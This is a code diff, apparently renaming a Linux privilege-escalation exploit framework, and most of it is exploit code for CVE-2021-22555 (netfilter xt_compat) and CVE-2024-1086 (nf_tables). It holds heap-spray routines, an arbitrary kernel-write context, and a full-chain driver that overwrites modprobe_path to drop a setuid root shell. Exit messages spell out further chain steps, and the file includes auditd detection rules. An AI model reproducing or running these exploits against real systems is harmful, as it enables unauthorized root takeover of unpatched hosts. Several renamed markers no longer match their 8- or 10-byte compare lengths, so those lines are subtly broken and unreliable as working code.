/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
||||||
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
|
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
|
||||||
* A non-matching prefix is the empirical witness for the OOB write
|
* A non-matching prefix is the empirical witness for the OOB write
|
||||||
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
||||||
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||||
@@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
||||||
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
||||||
if (n < 0) break;
|
if (n < 0) break;
|
||||||
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
|
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
|
||||||
corrupted++;
|
corrupted++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
|
|||||||
unsigned char *buf = malloc(1800);
|
unsigned char *buf = malloc(1800);
|
||||||
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
||||||
memset(buf, 0x41, 1800);
|
memset(buf, 0x41, 1800);
|
||||||
memcpy(buf, "IAMROOTSKB", 10);
|
memcpy(buf, "SKELETONKEYSKB", 10);
|
||||||
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
||||||
struct mmsghdr mm[32];
|
struct mmsghdr mm[32];
|
||||||
for (int i = 0; i < 32; i++) {
|
for (int i = 0; i < 32; i++) {
|
||||||
@@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
|
|||||||
|
|
||||||
/* Plant a recognizable marker so a vulnerable kernel's compat
|
/* Plant a recognizable marker so a vulnerable kernel's compat
|
||||||
* decoder reads our crafted entry rather than zeroed memory.
|
* decoder reads our crafted entry rather than zeroed memory.
|
||||||
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
|
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
|
||||||
* dump points back here. */
|
* dump points back here. */
|
||||||
unsigned char *entry_region = blob + sizeof(*r);
|
unsigned char *entry_region = blob + sizeof(*r);
|
||||||
memcpy(entry_region, "IAMROOTX", 8);
|
memcpy(entry_region, "SKELETONKEYX", 8);
|
||||||
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
||||||
* Its `u.target_size` field is the lever Andy bends to underflow
|
* Its `u.target_size` field is the lever Andy bends to underflow
|
||||||
* the pad-out write: setting target_size to a value such that
|
* the pad-out write: setting target_size to a value such that
|
||||||
@@ -524,7 +524,7 @@ struct xtcompat_arb_ctx {
|
|||||||
uid_t outer_uid;
|
uid_t outer_uid;
|
||||||
gid_t outer_gid;
|
gid_t outer_gid;
|
||||||
|
|
||||||
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
|
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
|
||||||
int arb_calls;
|
int arb_calls;
|
||||||
int arb_landed;
|
int arb_landed;
|
||||||
};
|
};
|
||||||
@@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
|
|||||||
if (!p) return 0;
|
if (!p) return 0;
|
||||||
p->mtype = 0x43;
|
p->mtype = 0x43;
|
||||||
memset(p->buf, 0x41, sizeof p->buf);
|
memset(p->buf, 0x41, sizeof p->buf);
|
||||||
memcpy(p->buf, "IAMROOTW", 8);
|
memcpy(p->buf, "SKELETONKEYW", 8);
|
||||||
/* Plant the target address at every 0x800-aligned slot inside
|
/* Plant the target address at every 0x800-aligned slot inside
|
||||||
* the payload, so wherever the kernel's m_list_next sits
|
* the payload, so wherever the kernel's m_list_next sits
|
||||||
* relative to our payload base, the candidate value is present. */
|
* relative to our payload base, the candidate value is present. */
|
||||||
@@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
|||||||
|
|
||||||
/* ---- Exploit driver ---------------------------------------------- */
|
/* ---- Exploit driver ---------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||||
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
|
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||||
if (pre == IAMROOT_OK && geteuid() == 0) {
|
if (pre == SKELETONKEY_OK && geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early with the manual-
|
* modprobe_path can't be resolved, refuse early with the manual-
|
||||||
* workflow help — no point doing the userns + spray + trigger
|
* workflow help — no point doing the userns + spray + trigger
|
||||||
* dance if we can't finish. */
|
* dance if we can't finish. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
bool full_chain_ready = false;
|
bool full_chain_ready = false;
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("netfilter_xtcompat");
|
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
||||||
"modprobe_path offset unresolved; refusing\n");
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
full_chain_ready = true;
|
full_chain_ready = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) {
|
if (child < 0) {
|
||||||
perror("fork");
|
perror("fork");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
@@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
long post_slab = slab_active_kmalloc_2k();
|
long post_slab = slab_active_kmalloc_2k();
|
||||||
|
|
||||||
/* Breadcrumb for post-run triage. */
|
/* Breadcrumb for post-run triage. */
|
||||||
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
||||||
@@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
.arb_calls = 0,
|
.arb_calls = 0,
|
||||||
.arb_landed = 0,
|
.arb_landed = 0,
|
||||||
};
|
};
|
||||||
int fr = iamroot_finisher_modprobe_path(&off,
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
xtcompat_arb_write,
|
xtcompat_arb_write,
|
||||||
&arb_ctx,
|
&arb_ctx,
|
||||||
!ctx->no_shell);
|
!ctx->no_shell);
|
||||||
/* If the finisher execve'd a root shell, we never get
|
/* If the finisher execve'd a root shell, we never get
|
||||||
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
||||||
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
xtcompat_msgmsg_drain(queues);
|
xtcompat_msgmsg_drain(queues);
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||||
_exit(35);
|
_exit(35);
|
||||||
}
|
}
|
||||||
/* Primitive-only mode: still NOT root — but it's the
|
/* Primitive-only mode: still NOT root — but it's the
|
||||||
@@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
_exit(30);
|
_exit(30);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* PARENT: reap child + map exit code → iamroot_result. */
|
/* PARENT: reap child + map exit code → skeletonkey_result. */
|
||||||
int status = 0;
|
int status = 0;
|
||||||
if (waitpid(child, &status, 0) < 0) {
|
if (waitpid(child, &status, 0) < 0) {
|
||||||
perror("waitpid");
|
perror("waitpid");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (WIFSIGNALED(status)) {
|
||||||
@@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
"(crash during trigger — OOB likely fired)\n", sig);
|
"(crash during trigger — OOB likely fired)\n", sig);
|
||||||
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
||||||
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
||||||
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
|
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!WIFEXITED(status)) {
|
if (!WIFEXITED(status)) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
||||||
status);
|
status);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 22:
|
case 22:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
||||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 23:
|
case 23:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
||||||
"exploit path closed\n");
|
"exploit path closed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 24:
|
case 24:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
||||||
"see preceding errno\n");
|
"see preceding errno\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
case 30:
|
case 30:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
||||||
@@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
||||||
"may have fired but did not land on sprayed slots)\n");
|
"may have fired but did not land on sprayed slots)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 31:
|
case 31:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
||||||
"appears patched at runtime (validator)\n");
|
"appears patched at runtime (validator)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
case 32:
|
case 32:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
||||||
"not effective in userns on this kernel\n");
|
"not effective in userns on this kernel\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 33:
|
case 33:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
||||||
@@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
" attacker-controlled — read-where via msgrcv.\n"
|
" attacker-controlled — read-where via msgrcv.\n"
|
||||||
" 2. Use that leak to find &init_task and\n"
|
" 2. Use that leak to find &init_task and\n"
|
||||||
" modprobe_path in kernel .data — both offsets\n"
|
" modprobe_path in kernel .data — both offsets\n"
|
||||||
" are per-kernel-build and IAMROOT refuses to\n"
|
" are per-kernel-build and SKELETONKEY refuses to\n"
|
||||||
" bake them.\n"
|
" bake them.\n"
|
||||||
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
||||||
" and overwrite modprobe_path → exec a setuid\n"
|
" and overwrite modprobe_path → exec a setuid\n"
|
||||||
" helper for root pop.\n"
|
" helper for root pop.\n"
|
||||||
" See Andy Nguyen's writeup for the full chain.\n");
|
" See Andy Nguyen's writeup for the full chain.\n");
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) return IAMROOT_OK;
|
if (ctx->no_shell) return SKELETONKEY_OK;
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 34:
|
case 34:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
||||||
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
case 35:
|
case 35:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
||||||
"FAIL (sentinel not observed within timeout)\n"
|
"FAIL (sentinel not observed within timeout)\n"
|
||||||
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
|
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
||||||
@@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
|
|||||||
/* The msg queues live in the child's IPC namespace which dies
|
/* The msg queues live in the child's IPC namespace which dies
|
||||||
* with the child — so the in-process drain already handled them.
|
* with the child — so the in-process drain already handled them.
|
||||||
* The /tmp breadcrumb survives, remove it here. */
|
* The /tmp breadcrumb survives, remove it here. */
|
||||||
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
|
||||||
/* harmless */
|
/* harmless */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Detection rules --------------------------------------------- */
|
/* ---- Detection rules --------------------------------------------- */
|
||||||
@@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
|
|||||||
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
||||||
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
||||||
"# msgsnd/msgrcv heap-spray patterns.\n"
|
"# msgsnd/msgrcv heap-spray patterns.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
|
||||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
|
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||||
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
|
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||||
|
|
||||||
const struct iamroot_module netfilter_xtcompat_module = {
|
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||||
.name = "netfilter_xtcompat",
|
.name = "netfilter_xtcompat",
|
||||||
.cve = "CVE-2021-22555",
|
.cve = "CVE-2021-22555",
|
||||||
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
||||||
@@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_netfilter_xtcompat(void)
|
void skeletonkey_register_netfilter_xtcompat(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&netfilter_xtcompat_module);
|
skeletonkey_register(&netfilter_xtcompat_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||||
|
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
|
|||||||
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
||||||
Stable backports throughout Q1 2024.
|
Stable backports throughout Q1 2024.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
||||||
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NF_TABLES_IAMROOT_MODULES_H
|
|
||||||
#define NF_TABLES_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module nf_tables_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+52
-52
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* nf_tables_cve_2024_1086 — IAMROOT module
|
* nf_tables_cve_2024_1086 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
||||||
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
||||||
@@ -13,11 +13,11 @@
|
|||||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||||
* a Notselwyn-style pipapo arb-write via the shared
|
* a Notselwyn-style pipapo arb-write via the shared
|
||||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||||
* payload tagged with the kaddr in the value-pointer slot. The
|
* payload tagged with the kaddr in the value-pointer slot. The
|
||||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||||
@@ -34,7 +34,7 @@
|
|||||||
* heap pointer.
|
* heap pointer.
|
||||||
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
||||||
* pipapo_elem whose value points at modprobe_path.
|
* pipapo_elem whose value points at modprobe_path.
|
||||||
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
|
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
|
||||||
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
||||||
*
|
*
|
||||||
* Affected kernel ranges:
|
* Affected kernel ranges:
|
||||||
@@ -55,7 +55,7 @@
|
|||||||
* for unprivileged users even on a kernel-vulnerable host.
|
* for unprivileged users even on a kernel-vulnerable host.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
